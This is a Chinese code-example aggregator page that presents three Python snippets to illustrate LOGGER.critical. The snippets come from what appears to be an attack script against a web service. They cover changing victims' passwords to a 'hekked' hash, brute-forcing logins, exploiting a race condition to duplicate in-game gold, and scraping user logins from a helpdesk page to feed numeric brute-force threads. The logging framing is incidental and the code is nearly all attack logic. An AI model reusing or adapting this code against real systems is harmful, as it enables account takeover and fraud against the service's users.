本文整理汇总了Python中config.LOGGER.critical方法的典型用法代码示例。如果您正苦于以下问题:Python LOGGER.critical方法的具体用法?Python LOGGER.critical怎么用?Python LOGGER.critical使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类config.LOGGER
的用法示例。
在下文中一共展示了LOGGER.critical方法的3个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: do_change
# 需要导入模块: from config import LOGGER [as 别名]
# 或者: from config.LOGGER import critical [as 别名]
def do_change(self, obj):
LOGGER.info('Changing password for: %s', obj.user)
req = urllib2.Request('http://{0}/change_password.php'.format(TARGET_HOST),
urllib.urlencode({
'password': obj.password,
'newpassword': sha1('{0}|hekked'.format(obj.user)).hexdigest(),
'newpassword2': sha1('{0}|hekked'.format(obj.user)).hexdigest(),
})
)
data = my_url_open(obj.opener, req)
if 'error' not in data:
LOGGER.critical('Password changed for user: %s', obj.user)
return True
示例2: run
# 需要导入模块: from config import LOGGER [as 别名]
# 或者: from config.LOGGER import critical [as 别名]
def run(self):
while 1:
self.generate_opener()
data = self.brute_login(MY_LOGIN, MY_PASSWORD)
if 'Transactions' in data:
LOGGER.info('Account protected')
else:
LOGGER.critical('Our account hacked!')
if self.dup_gold:
obj = account_data(MY_LOGIN, MY_PASSWORD, data, self.opener)
RaceObject.set_obj(obj)
with RaceObject.RaceLock:
RaceObject.RaceLock.notify()
RaceObject.RaceLock.wait()
time.sleep(0.05)
示例3: xrange
# 需要导入模块: from config import LOGGER [as 别名]
# 或者: from config.LOGGER import critical [as 别名]
for i in xrange(1):
change = Changer()
change.start()
for i in xrange(1): # TODO: Conflicts with stealer, can be just nullified
recov = Recover()
recov.start()
for i in xrange(2):
enemy = Bruter_Enemy()
enemy.start()
data = get_helpdesk()
logins = re.findall('(?msi)<td>(\d+)</td>[^<]*<td>[^<]*</td>[^<]*<td>(\d+)</td>', data)
LOGGER.critical("%r", logins)
if 1 and logins:
creator = OrderedSet()
map(lambda x: creator.add(x[1]), logins)
for login in logins:
with open('users{0}.txt'.format(login[1].strip()), 'wb') as f:
f.write('{0}\n'.format(login[0].strip()))
map(lambda x: Generator_numeric(int(x)).start(), creator)
#exit()